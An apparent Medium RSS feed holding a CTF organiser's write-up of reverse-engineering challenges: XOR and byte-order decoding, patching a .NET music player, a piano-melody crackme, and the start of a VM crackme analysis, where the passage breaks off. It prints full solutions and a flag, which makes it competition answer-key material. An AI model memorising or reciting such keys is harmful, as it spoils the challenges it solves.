<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 3mksaad1600 on Medium]]></title>
        <description><![CDATA[Stories by 3mksaad1600 on Medium]]></description>
        <link>https://medium.com/@3mksaad1600?source=rss-e1dedd3b090c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*H7OSaEGlWBdc3IC0O9J76Q.jpeg</url>
            <title>Stories by 3mksaad1600 on Medium</title>
            <link>https://medium.com/@3mksaad1600?source=rss-e1dedd3b090c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:59:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@3mksaad1600/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ThryveCTF 2026V1 Finals All Rev & Malware challs Writeup]]></title>
            <link>https://medium.com/@3mksaad1600/thryvectf-2026v1-finals-all-rev-malware-challs-writeup-1d6f05767f4e?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d6f05767f4e</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[thryvectf2026]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Wed, 26 Aug 2026 21:19:30 GMT</pubDate>
            <atom:updated>2026-08-26T21:26:25.057Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: NotSaad💛(3mksaad1600)</p><p>So recently me and my team Thryve Organized our very first CTF, it was an amazing ride and i got to be the author of both rev and malware categories during the finals so here is my detailed solution writeup for every chall, Hope u enjoyed my challs and the finals and hope to see u in the next version!!</p><h3>1: Cat.txt:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*HQfn3jkjrcaMO2-0PgzufQ.png" /><figcaption>Chall desc</figcaption></figure><h4>1. Open the EXE and search for ValidateAnswer:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*scoES6aObdMLv_VYsI-OQA.png" /><figcaption>0x140001490</figcaption></figure><p>Open it and switch the view to <strong>High Level IL</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4cdpIhFbOSVZjz5LfHDIng.png" /><figcaption>ValidateAnswer Function</figcaption></figure><p>what it basically does is this:</p><pre>a = CheckScratchPattern(input);<br>b = CheckHiddenPieces(input);<br><br>return a &amp; b;</pre><p>U can see it also calls 2 functions, CheckScratchPattern and CheckHiddenPieces, So your input has to pass both checks.</p><h4>2. Open CheckHiddenPieces:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjP2WmhkpsgR5uAwEkG2-g.png" /><figcaption>CheckHiddenPieces Function</figcaption></figure><p>You’ll see A call to:</p><pre>AssembleHiddenPath(...)</pre><p>Then right after that it checks:</p><pre>if (TextLength(input) != 0x23)<br>    return 0;</pre><p>0x23 = 35, so now you know the hidden answer is <strong>35 characters</strong>.</p><p>Then it compares your input byte-by-byte against whatever AssembleHiddenPath() created.</p><p>And so we have to figure out what AssembleHiddenPath does.</p><h4>3. Open AssembleHiddenPath:</h4><p>This function calls a few suspiciously named functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqirwVvPM52DM-oVTlUeqg.png" /><figcaption>AssembleHiddenPath Function</figcaption></figure><p>it calls for these:</p><pre>DecodeStrayFragmentTwo<br>DecodeClawFragment<br>DecodeWhiskerFragment<br>DecodeTailFragment<br>DecodeStrayFragmentOne<br>DecodePawFragment<br>DecodeBellFragment<br>DecodeYarnFragment</pre><p>Two of these are fake decoys.</p><p>The real six are:</p><pre>DecodePawFragment<br>DecodeWhiskerFragment<br>DecodeYarnFragment<br>DecodeBellFragment<br>DecodeClawFragment<br>DecodeTailFragment</pre><h4>4. Start with DecodePawFragment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_sJkDQn_9DEK1KsQpfGKag.png" /><figcaption>DecodePawFragment Function</figcaption></figure><p>What it does here is equivalent to:</p><pre>byte = encoded[i] ^ 0x5a;</pre><p>Now the encoded bytes in this function are here:</p><pre>result:6.b = 0x2e<br>result:4.w = 0x2e32</pre><p>The confusing part is <strong>little-endian byte order</strong>.</p><p>result:4.w = 0x2e32 is a 2-byte word. In memory it is stored backwards:</p><pre>0x2e32  →  32 2e</pre><p>then this part result:6.b = 0x2e add the third byte:</p><pre>0x2e → 2e</pre><p>So the encoded bytes are:</p><pre>32 2e 2e</pre><p>And this loop:</p><pre>for (int64_t i = 0; i != 3; i += 1)<br>    *(arg1 + i + 2) = *(&amp;result:4 + i) ^ 0x5a</pre><p>reads those three bytes one by one:</p><pre>i = 0 → 32<br>i = 1 → 2e<br>i = 2 → 2e</pre><p>Then XORs them with 0x5a:</p><pre>32 ^ 5a = 68 = &#39;h&#39;<br>2e ^ 5a = 74 = &#39;t&#39;<br>2e ^ 5a = 74 = &#39;t&#39;</pre><p>So the logic is Basically:</p><pre>32 2e 2e<br>↓ XOR 5a<br>68 74 74<br>↓ ASCII<br>h  t  t</pre><h4>5. DecodeWhiskerFragment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whHQsr0cPzDysBQfHcjyAg.png" /><figcaption>DecodeWhiskerFragment Function</figcaption></figure><p>What this one does is something like:</p><pre>decoded = encoded - 0x11;</pre><p>The enconded bytes are in these 3 lines:</p><pre>140001048        result:6.b = 0x7a<br>140001053        result:4.w = 0x7740<br>14000105e        result.d = 0x404b8481</pre><p>Read them just like we did before using <strong>little-endian byte order:</strong></p><pre>0x404b8481 → 81 84 4B 40<br>0x7740     → 40 77<br>0x7A       → 7A<br><br>encoded:<br>81 84 4B 40 40 77 7A</pre><p>the decoding rule is in this line:</p><pre>*(arg1 + i + 2) = *(&amp;result + i) - 0x11</pre><p>meaning it does:</p><pre>decoded byte = encoded byte - 0x11</pre><p>decoding them:</p><pre>81 - 11 = 70 = p<br>84 - 11 = 73 = s<br>4B - 11 = 3A = :<br>40 - 11 = 2F = /<br>40 - 11 = 2F = /<br>77 - 11 = 66 = f<br>7A - 11 = 69 = i</pre><p>piece those together and u have so far:</p><pre>part 1 from  DecodePawFragment  : h t t<br><br>part 2 from DecodeWhiskerFragment   : ps://fi<br><br>so https://fi</pre><h4>6. DecodeYarnFragment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjtAuCpG4uzAs9LHokygtw.png" /><figcaption>DecodeYarnFragment Function</figcaption></figure><p>This line is where the encoded bytes are:</p><pre>builtin_strncpy(dest: &amp;result, src: &quot;WB@\rPFO&quot;, count: 7)</pre><p>instead of them being ordered like other functions before, Binary Ninja recognized that the program was loading 7 constant bytes and displayed them as a string instead.</p><p>Convert each character to its ASCII hex value:</p><pre>W   = 57<br>B   = 42<br>@   = 40<br>\r  = 0D    ← carriage return<br>P   = 50<br>F   = 46<br>O   = 4F</pre><p>So the encoded bytes are:</p><pre>57 42 40 0D 50 46 4F</pre><p>the logic is this:</p><pre>int64_t i_1 = 7<br><br>do<br>{<br>    *rcx = *(&amp;var_9 + i_1) ^ 0x23<br>    rcx = &amp;rcx[1]<br>    i = i_1<br>    i_1 -= 1<br>}<br>while (i != 1)</pre><p>This is an ugly decompilation, so the <strong>assembly makes it much clearer</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdB00oHBysfv0ZDJ1eaRhA.png" /><figcaption>Turn to Disassembly</figcaption></figure><p>The actual important instructions are essentially:</p><pre>mov eax, 7<br><br>loop:<br>movzx edx, byte [rsp + rax - 1]<br>xor dl, 0x23<br>mov [rcx], dl<br>dec rax<br>jne loop</pre><p>Notice:</p><pre>[rsp + rax - 1]</pre><p>rax starts at 7.</p><p>so it reads:</p><pre>rax=7 → byte[6] = 4F<br>rax=6 → byte[5] = 46<br>rax=5 → byte[4] = 50<br>rax=4 → byte[3] = 0D<br>rax=3 → byte[2] = 40<br>rax=2 → byte[1] = 42<br>rax=1 → byte[0] = 57</pre><p>so the encoded bytes are:</p><pre>4F 46 50 0D 40 42 57</pre><p>Then each one is XORed with 0x23according to this line:</p><pre>1400010c5  80f223             xor     dl, 0x23</pre><p>so:</p><pre>4F ^ 23 = 6C = l<br>46 ^ 23 = 65 = e<br>50 ^ 23 = 73 = s<br>0D ^ 23 = 2E = .<br>40 ^ 23 = 63 = c<br>42 ^ 23 = 61 = a<br>57 ^ 23 = 74 = t</pre><p>which gives:</p><pre>les.cat<br><br>join with the 2 parts we already have:<br><br>htt + ps://fi + les.cat<br><br>https://files.cat</pre><h4>7. DecodeBellFragment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z4GtsKCNgvhjdPLfymiasA.png" /><figcaption>DecodeBellFragment</figcaption></figure><p>Constants:</p><pre>result:4.b = 0x01<br>result.d   = 0x4214030e</pre><p>Encoded bytes:</p><p>DWORD:</p><pre>0x4214030E → 0E 03 14 42</pre><p>Then:</p><pre>0x01 → 01</pre><p>so:</p><pre>0E 03 14 42 01</pre><p>the logic here is:</p><pre>encoded ^ 0x6c</pre><p>Decode:</p><pre>0E ^ 6C = 62 = b<br>03 ^ 6C = 6F = o<br>14 ^ 6C = 78 = x<br>42 ^ 6C = 2E = .<br>01 ^ 6C = 6D = m</pre><p>result:</p><pre>box.m<br><br>join the 3 parts with this u get:<br><br>https://files.catbox.m</pre><h4>8. DecodeClawFragment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F3Oo1kZ1ViIEAO-TVjgLdA.png" /><figcaption>DecodeClawFragment Function</figcaption></figure><p>constants:</p><pre>result:4.w = 0x655f<br>result.d   = 0xa1568990</pre><h4>Encoded bytes:</h4><p>DWORD:</p><pre>0xA1568990 → 90 89 56 A1</pre><p>WORD:</p><pre>0x655F → 5F 65</pre><p>So:</p><pre>90 89 56 A1 5F 65</pre><p>This one looks confusing because the key <strong>changes every iteration</strong>.</p><p>Assembly logic is basically:</p><pre>key = 0xDF<br><br>for (...) {<br>    decoded = encoded + key;<br>    key += 0xFD;<br>}</pre><p>0xFD as an 8-bit change is equivalent to -3</p><p>So the keys are:</p><pre>DF<br>DC<br>D9<br>D6<br>D3<br>D0</pre><p>How did we calculate these keys? :</p><ul><li><strong>Start Key:</strong> DF</li><li><strong>Next Key:</strong> DF minus 3 = <strong>DC</strong> <em>(F in hex is 15. 15 - 3 = 12, which is C)</em></li><li><strong>Next Key:</strong> DC minus 3 = <strong>D9</strong> <em>(C in hex is 12. 12 - 3 = 9)</em></li><li><strong>Next Key:</strong> D9 minus 3 = <strong>D6</strong> <em>(9 - 3 = 6)</em></li><li><strong>Next Key:</strong> D6 minus 3 = <strong>D3</strong> <em>(6 - 3 = 3)</em></li><li><strong>Next Key:</strong> D3 minus 3 = <strong>D0</strong> <em>(3 - 3 = 0)</em></li></ul><p>Decode, keeping only the lowest byte if the addition goes above FF:</p><pre>90 + DF = 16F → 6F = o<br><br>89 + DC = 165 → 65 = e<br><br>56 + D9 = 12F → 2F = /<br><br>A1 + D6 = 177 → 77 = w<br><br>5F + D3 = 132 → 32 = 2<br><br>65 + D0 = 135 → 35 = 5</pre><p>So:</p><pre>oe/w25<br><br>add them with the other parts<br><br>https://files.catbox.moe/w25</pre><h4>9.DecodeTailFragment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*51AwqxzNvynA8UR0YJoHrQ.png" /><figcaption>DecodeTailFragment</figcaption></figure><p>Constants are:</p><pre>result:6.b = 0x43<br>result:4.w = 0x4e41<br>result.d   = 0x1a024659</pre><h4>Encoded bytes:</h4><p>DWORD:</p><pre>0x1A024659 → 59 46 02 1A</pre><p>WORD:</p><pre>0x4E41 → 41 4E</pre><p>BYTE:</p><pre>43</pre><p>Together:</p><pre>59 46 02 1A 41 4E 43</pre><p>The important loop is basically:</p><pre>key = i + 0x31<br>decoded = encoded ^ key</pre><p>So the XOR keys are:</p><pre>i=0 → 31<br>i=1 → 32<br>i=2 → 33<br>i=3 → 34<br>i=4 → 35<br>i=5 → 36<br>i=6 → 37</pre><p>Decode:</p><pre>59 ^ 31 = 68 = h<br>46 ^ 32 = 74 = t<br>02 ^ 33 = 31 = 1<br>1A ^ 34 = 2E = .<br>41 ^ 35 = 74 = t<br>4E ^ 36 = 78 = x<br>43 ^ 37 = 74 = t</pre><p>Results:</p><pre>ht1.txt</pre><p>So all fragements are:</p><pre>htt<br>ps://fi<br>les.cat<br>box.m<br>oe/w25<br>ht1.txt</pre><p>full thing is:</p><pre>https://files.catbox.moe/w25ht1.txt</pre><p>Open the url now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*CEsn9vXCZPN7CZa-zrnKOw.png" /><figcaption>flag</figcaption></figure><h3>2.Saad’s Music Player:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*qfCx1D74S6vBZcSEXSgxsw.png" /><figcaption>Chall desc</figcaption></figure><p>Focus on what the description of the challenge tells you</p><p>one day Moe calls me and tells me that he messed with the code somehow and while trying to listen to music a weird popup came up on his screen.</p><p>Mess with the code meaning patching the binary or app to make it do a different function than it does, and so we understand that our primary solve is through patching,</p><h4>1.Initial analysis and recon:</h4><p>Checking the files we have for this challenge they are as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*18XwU00Q76HyM1It3h04jA.png" /><figcaption>files</figcaption></figure><p>Ignoring the Assets folder because it contains stuff like images and audio’s and lyric files for the music app to use and nothing solve related and so lets open the exe to see what it does:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIG0VVY5MoDRrmyIPC2eKg.png" /><figcaption>App</figcaption></figure><p>The app is a functioning music player that contains copyrighted songs that belong to <a href="https://www.themarias.us/">The Marias</a> , 8 songs in total with 4k audio and synced lyrics, all app functions work fine so lets dig into the code to see what we can “mess with”.</p><p>The challenge has files one of them being Assembly-CSharp.dll Which is going to be our main target for this analysis to open DLL files we use the tool <a href="https://github.com/dnSpy/dnSpy/releases">dnspy</a> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r-waM8819eogeGagc6XScA.png" /><figcaption>dnspy</figcaption></figure><p>opening it we are greeted with this screen and so we click on the dropdown arrow next to the file name above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*2lpvZNr7SVcOBC9rxLfaYw.png" /><figcaption>Inside</figcaption></figure><p>Now inside MariasPlayerChallenge we can find these 7 forms that are the 7 scripts used to compile the program, there is 2 ways to solve this challenge, static and dynamic il start with the dynamic intended patch solve method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfilUi1DD4Bj7gLMyEhdIQ.png" /><figcaption>CheckPlayBackStatus</figcaption></figure><p>Inside PlayBackManager we will find a call to this function called CheckPlayBackStatus looking at the code its this:</p><pre>// MaraisPlayerChallenge.PlaybackManager<br>// Token: 0x06000032 RID: 50 RVA: 0x00002218 File Offset: 0x00000418<br>internal bool CheckPlaybackStatus(Track track)<br>{<br> return false;<br>}</pre><p>Now what this means is that the program has a way of checking PlayBackStatus and whats being displayed and what not, having 2 logical states false and true, false displays to us what the normal program does when opening it, so lets try patching it to true, right click on the false and click Edit Class(C#):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Qoq6sPVr2_Kq3YDHye2zyg.png" /><figcaption>click</figcaption></figure><p>then simply change it to true:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Sk_R0HM49TJd-4i8HoJHg.png" /><figcaption>patch</figcaption></figure><p>then simply compile then go click file and save module and replace our old file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*syNzuCQjecegp8zgZ4lXhA.png" /><figcaption>save</figcaption></figure><p>Now go back to our program and open it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSaPzeO0dSLjMHyU824O9w.png" /><figcaption>program</figcaption></figure><p>Everything seems fine but now if we try to play any song by pressing Play Selected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jekonnz_CTLOG856EDf4A.png" /><figcaption>Flag</figcaption></figure><p>There you go!!, now static solve, just go to the ResourceIndex Then u will notice this function FormatPlaybackBanner() and alongside it Map and R0, R1, R2, FormatPlaybackBanner() contains the xor logic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_sKROYNjoBpDoEWDtBzoew.png" /><figcaption>xor logic</figcaption></figure><p>and R0-R2 contain the xor bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FR1rzAiw7WYQXAVJRGE4pQ.png" /><figcaption>Xor bytes</figcaption></figure><p>And Map contains the key being marias-submarine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mf1fTc5q7mLYUsunZ5OOMg.png" /><figcaption>key</figcaption></figure><p>make a simple xor script:</p><pre>A = [68, 48, 110, 77, 54, 111, 86, 57, 41, 31, 113, 120, 93, 87, 104, 129]<br>B = [27, 62, 97, 47, 108, 86, 33, 45, 93, 44, 83, 21, 106, 72, 41, 43]<br>C = [25, 39, 57, 92, 22, 100, 48, 58, 108, 65, 33, 114, 85, 84, 96, 45]<br><br>key = b&quot;marias-submarine&quot;<br><br>merged = sum(zip(A, B, C), ())<br><br>flag = bytes(<br>    (((x - (((i * 7) % 29) - -11)) &amp; 0xff) ^ key[i % len(key)])<br>    for i, x in enumerate(merged)<br>)<br><br>print(flag.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iN27dF1hvHHKaLt318uYrg.png" /><figcaption>solver</figcaption></figure><pre>Thryve{1f_u_c4n7_73ll_4lr34dy_1_l0v3_7h3_M4r14s}</pre><h3>3. A Piano Under The Moonlight:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*oAoFY7yUI0crGzIvi8loKQ.png" /><figcaption>Chall Desc</figcaption></figure><p>Again here the description already tells us what we need to do find the correct piano melody to play, run the exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCZG__KbBPzKCmtiZi7N_Q.png" /><figcaption>program</figcaption></figure><p>So we have to play on this piano the correct sequence to get the flag! A small readme.txt was alongside the challenge files:</p><pre><br>u can run this program its safe matter fact the solve is dynamic.<br><br>You can click the piano keys or use A W S E D F T G Y H U J K.<br><br>keyboard key to piano mapping is:<br><br>A = C<br>W = C#<br>S = D<br>E = D#<br>D = E<br>F = F<br>T = F#<br>G = G<br>Y = G#<br>H = A<br>U = A#<br>J = B<br>K = C5<br><br>c5 is the last C further to the right</pre><ol><li>Now open the binary in binaryninja our primary function is HandlePianoKey:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsqXEb8aUQDo4TmMRU579A.png" /><figcaption>HandlePianoKey</figcaption></figure><p>You can see a call to:</p><pre>PlayPianoNote(arg1);<br>AdvanceMelody(PianoKeyToToken(arg1));</pre><p>So the important path is:</p><pre>PianoKeyToToken<br>        ↓<br>AdvanceMelody<br>        ↓<br>DecodeExpectedToken</pre><h4>2.Open PianoKeyToToken:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ni_rNtdBDHk702lE2hXAPQ.png" /><figcaption>PianoKeyToToken</figcaption></figure><p>These are our constants:</p><pre>char var_4 = 0xc9;<br>int32_t var_8 = 0x730dba57;<br>int64_t var_10 = -0x1be46a972db358cf;</pre><p>and:</p><pre>return *(uint8_t*)(&amp;var_10 + arg1);</pre><p>This means the program is treating those adjacent variables like one byte array.</p><p>First convert:</p><pre>-0x1be46a972db358cf</pre><p>to unsigned 64-bit:</p><pre>0xe1b9568d24ca731</pre><p>Split into bytes:</p><pre>e4 1b 95 68 d2 4c a7 31</pre><p>Because x86–64 is little-endian, reverse them:</p><pre>31 a7 4c d2 68 95 1b e4</pre><p>Then:</p><pre>0x730dba57</pre><p>becomes:</p><pre>57 ba 0d 73</pre><p>And finally:</p><pre>c9</pre><p>So the full token table is:</p><pre>31 a7 4c d2 68 95 1b e4 57 ba 0d 73 c9</pre><p>The indices correspond to the piano keys:</p><pre>0  C   = 31<br>1  C#  = a7<br>2  D   = 4c<br>3  D#  = d2<br>4  E   = 68<br>5  F   = 95<br>6  F#  = 1b<br>7  G   = e4<br>8  G#  = 57<br>9  A   = ba<br>10 A#  = 0d<br>11 B   = 73<br>12 C5  = c9</pre><h4>3.Now open AdvanceMelody:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7tkwvqQc5qxLONxKCzA2XQ.png" /><figcaption>Advance Melody</figcaption></figure><p>you can see 2 calls to:</p><pre>DecodeExpectedToken</pre><p>That function tells you which token is expected at each melody position.</p><h4>4.Open DecodeExpectedToken:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UB57oN9JeUAbsMAI-Tb9aw.png" /><figcaption>DecodeExpectedToken</figcaption></figure><p>our constants are:</p><pre>int32_t var_8 = 0xbf8bd2f4;<br>int64_t var_10 = 0x163ba8ff4d8dd441;</pre><p>Convert those to little-endian bytes.</p><p>For:</p><pre>0x163ba8ff4d8dd441</pre><p>you get:</p><pre>41 d4 8d 4d ff a8 3b 16</pre><p>For:</p><pre>0xbf8bd2f4</pre><p>you get:</p><pre>f4 d2 8b bf</pre><p>So the encoded melody is:</p><pre>41 d4 8d 4d ff a8 3b 16 f4 d2 8b bf</pre><p>Now simplify the decoding formula:</p><pre>((char)(arg1 &lt;&lt; 3) - (uint8_t)arg1 + 0x29)<br>    ^ encoded[arg1]</pre><p>Let:</p><pre>i = arg1</pre><p>Then:</p><pre>i &lt;&lt; 3 = i * 8</pre><p>So:</p><pre>(i * 8) - i = i * 7</pre><p>Therefore:</p><pre>decoded = encoded[i] ^ (i * 7 + 0x29)</pre><p>To Decode the 12 bytes. You can use:</p><pre>data = [<br>    0x41, 0xd4, 0x8d, 0x4d,<br>    0xff, 0xa8, 0x3b, 0x16,<br>    0xf4, 0xd2, 0x8b, 0xbf<br>]<br><br>for i, x in enumerate(data):<br>    print(hex(x ^ ((i * 7 + 0x29) &amp; 0xff)))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fd2DbOBH8lvE8N40t0EZQw.png" /><figcaption>Output</figcaption></figure><pre>68<br>e4<br>ba<br>73<br>ba<br>e4<br>68<br>4c<br>95<br>ba<br>e4<br>c9</pre><p>Now map those tokens back using the table from PianoKeyToToken:</p><pre>68 = E<br>e4 = G<br>ba = A<br>73 = B<br>ba = A<br>e4 = G<br>68 = E<br>4c = D<br>95 = F<br>ba = A<br>e4 = G<br>c9 = C5</pre><p>So the secret piano sequence is:</p><pre>E → G → A → B → A → G → E → D → F → A → G → C5</pre><p>now either open the program and press the buttons with ur mouse or follow the mapping i gave u from the readme.txt to get the keyboard buttons u should press either way u type out the sequence the program prints the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ldnKal0887WPwMYWh1WrXg.png" /><figcaption>Flag</figcaption></figure><h3>4. But I’m A Creep:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*q0XRUEKEeQxPloj5VTvcsw.png" /><figcaption>Desc</figcaption></figure><h3>1.Open the binary in BinaryNinja:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjl99_gzrTn2EojCUYMT3w.png" /><figcaption>binary loading screen</figcaption></figure><p>press Ctrl + Shift + F and search for Access Denied Or Correct! Welcome in.</p><p>Go to the function that references those strings. That is basically main.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_l8q3qwg-Sogcd6bpPrug.png" /><figcaption>Main</figcaption></figure><h3>2. Understand main</h3><p>In main, you can see this logic:</p><pre>if (strlen(input) != 63)<br>    fail;</pre><p>So the flag length must be <strong>63 bytes</strong>. The binary then copies data into VM memory.</p><h4>First line:</h4><pre>void var_958<br>int64_t rax_1 = __security_cookie ^ &amp;var_958</pre><p>Ignore it.</p><h4>why?</h4><p>__security_cookie is Microsoft stack protection. It appears in many Windows C/C++ binaries.</p><p>It is not challenge logic.</p><p>At the end you also see:</p><pre>sub_140001a20(rax_1 ^ &amp;var_958)</pre><p>That confirms it is just the stack cookie check.</p><p>So mentally remove it.</p><h4>2. Prompt line:</h4><pre>int512_t zmm1 = sub_140001250(&quot;Enter the flag: &quot;, entry_rdx)</pre><p>This prints:</p><pre>printf(&quot;Enter the flag: &quot;);</pre><p>So now In Binary Ninja:</p><ol><li>Click sub_140001250</li><li>Press N</li><li>Rename it to: printf_wrapper</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3qkOnbIRstTy_G_zbxrhog.png" /><figcaption>renamed</figcaption></figure><h4>3. Flush line:</h4><pre>fflush(sub_140004998(1), zmm1)</pre><p>basically it means this:</p><pre>fflush(stdout);</pre><h4>How did we figure that out?</h4><p>The program printed:</p><pre>Enter the flag:</pre><p>without a newline.</p><p>Sometimes the prompt does not show immediately unless the program flushes output.</p><p>sub_140004998(1) is probably returning a file stream.</p><p>The number 1 means standard output.</p><p>Common C streams:</p><pre>0 = stdin<br>1 = stdout<br>2 = stderr</pre><p>Then later you see:</p><pre>sub_140004998(0)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*mmXUeDcs1OHOfmeg_67RRg.png" /><figcaption>sub_140004998(0)</figcaption></figure><p>used with fgets, so that one is stdin.</p><p>So:</p><pre>sub_140004998(1) = stdout<br>sub_140004998(0) = stdin</pre><h4>4. Input buffer declaration:</h4><pre>int128_t var_118</pre><h4>What does that mean?:</h4><p>This means that this is the input buffer.</p><h4>How we figure it out:</h4><p>A few lines later it is passed into fgets:</p><pre>j_common_fgets&lt;char&gt;(&amp;var_118, 0x100, sub_140004998(0))</pre><p>So var_118 is where user input is stored.</p><p>Rename it:</p><pre>var_118 -&gt; input</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9gPHz5YV2Pv5TXH07lwihQ.png" /><figcaption>renamed var_188 to input</figcaption></figure><h4>5. Read input:</h4><pre>if (j_common_fgets&lt;char&gt;(&amp;var_118, 0x100, sub_140004998(0)) != 0)</pre><p>What does that mean?</p><pre>if (fgets(input, 0x100, stdin) != NULL)</pre><h4>How do we figure that out?</h4><p>Because fgets has this shape:</p><pre>fgets(buffer, size, stream)</pre><p>Our line has exactly that:</p><pre>&amp;var_118       = buffer<br>0x100          = size<br>sub_140004998(0) = stdin</pre><p>So this is reading up to 0x100 bytes.</p><p>0x100 in decimal is:</p><pre>256</pre><p>So input buffer is probably 256 bytes.</p><h4>6. If input fails:</h4><pre>else<br>    rcx_2 = &quot;[-] Input error.&quot;</pre><h4>What does that mean?</h4><p>If fgets failed:</p><pre>puts(&quot;[-] Input error.&quot;);</pre><h4>How do we figure that out?</h4><p>The else belongs to:</p><pre>if (fgets(...) != 0)</pre><p>So if fgets returns 0, input failed.</p><h4>7. Remove newline:</h4><pre>int64_t rax_6 = sub_1400073f0(&amp;var_118, &quot;\r\n&quot;)</pre><h4>What does that mean?</h4><pre>rax_6 = strcspn(input, &quot;\r\n&quot;);</pre><h3>How do we figure that out?</h3><p>The function takes:</p><pre>input<br>&quot;\r\n&quot;</pre><p>This pattern is very common after fgets.</p><p>When you type input, fgets keeps the newline:</p><pre>Thryve{abc}\n</pre><p>So programs often do:</p><pre>input[strcspn(input, &quot;\r\n&quot;)] = 0;</pre><p>That removes \r or \n.</p><p>The next line proves it:</p><pre>*(&amp;var_118 + rax_6) = 0</pre><p>That writes a null byte at the found position.</p><p>So:</p><pre>sub_1400073f0 -&gt; strcspn</pre><h4>8. Bounds check:</h4><pre>if (rax_6 u&gt;= 0x100)<br>    sub_14000197c()</pre><h4>What does that mean?</h4><p>If the newline index is bigger than the buffer size, abort.</p><h4>How do we figure that out?</h4><p>0x100 was the input size.</p><p>So it checks:</p><pre>if (index &gt;= 256)<br>    abort();</pre><p>This is compiler/safety logic.</p><p>Not part of The solve.</p><h4>9. Actually remove newline:</h4><pre>*(&amp;var_118 + rax_6) = 0</pre><h4>What does that mean?</h4><pre>input[rax_6] = &#39;\0&#39;;</pre><h4>How do we figure that out?</h4><p>&amp;var_118 is the start of the input buffer.</p><p>rax_6 is the position of first \r or \n.</p><p>Writing 0 there cuts the string.</p><p>Example:</p><pre>Before: Thryve{abc}\n<br>After:  Thryve{abc}\0</pre><h4>10. Length check:</h4><pre>if (strlen(&amp;var_118) == 0x3f)</pre><h4>What does that mean?</h4><pre>if (strlen(input) == 63)</pre><p>0x3f is hex.</p><p>Convert:</p><pre>0x3f = 63</pre><p>So the input must be exactly 63 characters.</p><p>The uploaded writeup also says the input length must be 63.</p><h4>11. If length wrong:</h4><pre>else<br>    rcx_2 = &quot;[-] Access Denied.&quot;</pre><h4>What does that mean?</h4><p>If flag length is not 63:</p><pre>puts(&quot;[-] Access Denied.&quot;);</pre><h4>How do we figure that out?</h4><p>This else belongs to:</p><pre>if (strlen(input) == 0x3f)</pre><p>So wrong length = denied.</p><h4>12. CPU variable:</h4><pre>void var_938<br>sub_1400012b0(&amp;var_938)</pre><h4>What does it mean?</h4><pre>CPU 